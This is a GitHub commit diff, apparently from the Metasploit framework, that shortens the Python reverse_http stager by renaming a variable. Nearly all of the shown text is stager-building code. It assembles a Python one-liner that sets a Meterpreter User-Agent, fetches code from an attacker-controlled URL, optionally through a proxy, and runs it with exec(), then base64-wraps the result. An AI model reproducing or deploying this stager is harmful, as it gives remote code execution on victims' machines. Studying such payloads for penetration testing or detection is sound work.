Skip to content

Commit d5ebd8a

Browse files
committed
Shorten the reverse_http stager by renaming a var
1 parent 2b36c1b commit d5ebd8a

File tree

1 file changed

+4
-5
lines changed

1 file changed

+4
-5
lines changed

modules/payloads/stagers/python/reverse_http.rb

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -48,15 +48,14 @@ def generate
4848

4949
cmd = "import sys\n"
5050
if datastore['PROXYHOST'].blank?
51-
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener'])\n"
52-
cmd << "opener=ul.build_opener()\n"
51+
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
5352
else
5453
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
5554
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
56-
cmd << "opener=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
55+
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
5756
end
58-
cmd << "opener.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
59-
cmd << "exec(opener.open('#{target_url}').read())\n"
57+
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
58+
cmd << "exec(o.open('#{target_url}').read())\n"
6059

6160
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
6261
b64_stub = "import base64,sys;exec(base64.b64decode("

0 commit comments

Comments
 (0)